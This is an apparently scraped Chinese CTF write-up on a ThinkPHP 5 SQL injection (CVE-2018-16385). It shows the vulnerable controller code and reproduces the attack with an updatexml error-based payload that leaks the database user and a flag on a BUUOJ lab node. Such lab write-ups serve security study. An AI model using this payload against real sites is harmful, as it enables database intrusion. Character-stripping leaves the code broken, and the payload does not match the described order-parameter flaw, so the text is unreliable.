网站建设合同或方案书,手机开发者模式怎么调成高性能,wordpress 翻译 每页,wordpress date目录
漏洞描述
漏洞分析
漏洞复现
漏洞描述 漏洞发现时间#xff1a; 2018-09-04 CVE 参考#xff1a;CVE-2018-16385 最高严重级别#xff1a;低风险 受影响的系统#xff1a;ThinkPHP 5.1.23 漏洞描述#xff1a; ThinkPHP是一款快速、兼容、简单的轻量级国产P…目录
漏洞描述
漏洞分析
漏洞复现
漏洞描述 漏洞发现时间 2018-09-04 CVE 参考CVE-2018-16385 最高严重级别低风险 受影响的系统ThinkPHP 5.1.23 漏洞描述 ThinkPHP是一款快速、兼容、简单的轻量级国产PHP开发矿场解决了大部分应用开发的需求。 该漏洞与程序没有正确过滤数组的Key值导致在public/index/index/test/index中查询字符串时出现SQL注入漏洞有关。攻击者可以利用该漏洞获取数据库中当前用户名等数据。 漏洞分析
?php
namespace app\index\controller;class Test
{public function index(){$dataarray();$data[username]array(eq,admin);$orderinput(get.order);//使用input函数进行安全过滤$mdb(user)-where($data)-order($order)-find();dump($m);}
} 漏洞原因是处理order by参数时如果参数用户是可控的当参数为数组key value时未正确过滤处理数组的key值就会导致漏洞的产生。 首先定义了一个Test类该类包含一个名为index的公共方法。在该方法中首先创建了一个空数组$data。然后将值为array(eq, admin)的一维数组赋给$data[username]即$data数组中的一个元素。接下来使用input(get.order)语句获取来自GET请求的order参数并将其赋给$order变量。需要注意的是这里使用了input函数对输入数据进行了安全过滤。接下来代码使用$db(user)-where($data)语句查询数据库中满足$data条件的数据。然后使用$order变量对查询结果进行排序最后使用find()方法返回查询结果的第一个匹配项并将其存储在$m变量中。最后使用dump函数打印$m变量的内容。 漏洞复现
payload[!] Name: ThinkPHP5 SQL Injection Vulnerability Sensitive Information Disclosure VulnerabilityScript: thinkphp5_sqli.pyUrl: http://node5.buuoj.cn:29791/Vulnerable: TrueMethod: GETPayload: http://node5.buuoj.cn:29791/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]1 /index.php?ids[0,updatexml(0,concat(0xa,user()),0)]1 经过poc验证此版本的thinkphp存在sql注入漏洞 flag{1ffdbdc4-020e-4d98-bb49-ccabed232769} ThinkPHP5 SQL注入漏洞 PDO真/伪预处理分析 | 离别歌 (leavesongs.com)https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html 具体漏洞分析